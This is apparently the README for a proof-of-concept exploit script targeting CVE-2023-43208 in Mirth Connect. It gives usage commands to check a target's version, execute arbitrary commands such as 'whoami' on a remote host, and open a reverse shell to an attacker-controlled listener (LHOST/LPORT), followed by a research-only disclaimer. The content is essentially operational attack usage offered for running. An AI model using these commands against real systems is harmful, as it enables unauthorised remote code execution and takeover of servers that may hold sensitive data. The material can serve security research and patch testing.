
Proof‑of‑concept Python script demonstrating CVE‑2023‑43208 in Mirth Connect, allowing version checks and command execution on vulnerable instances.
# Create a clean virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install pinned dependencies
pip install -r requirements.txt
# Check version only
python3 CVE-2023-43208.py -u https://TARGET/ --check
# Execute a single command
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"
# Reverse shell (start nc listener first)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT
This proof‑of‑concept is provided for research and educational purposes only. Do not use it against systems you do not own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this code.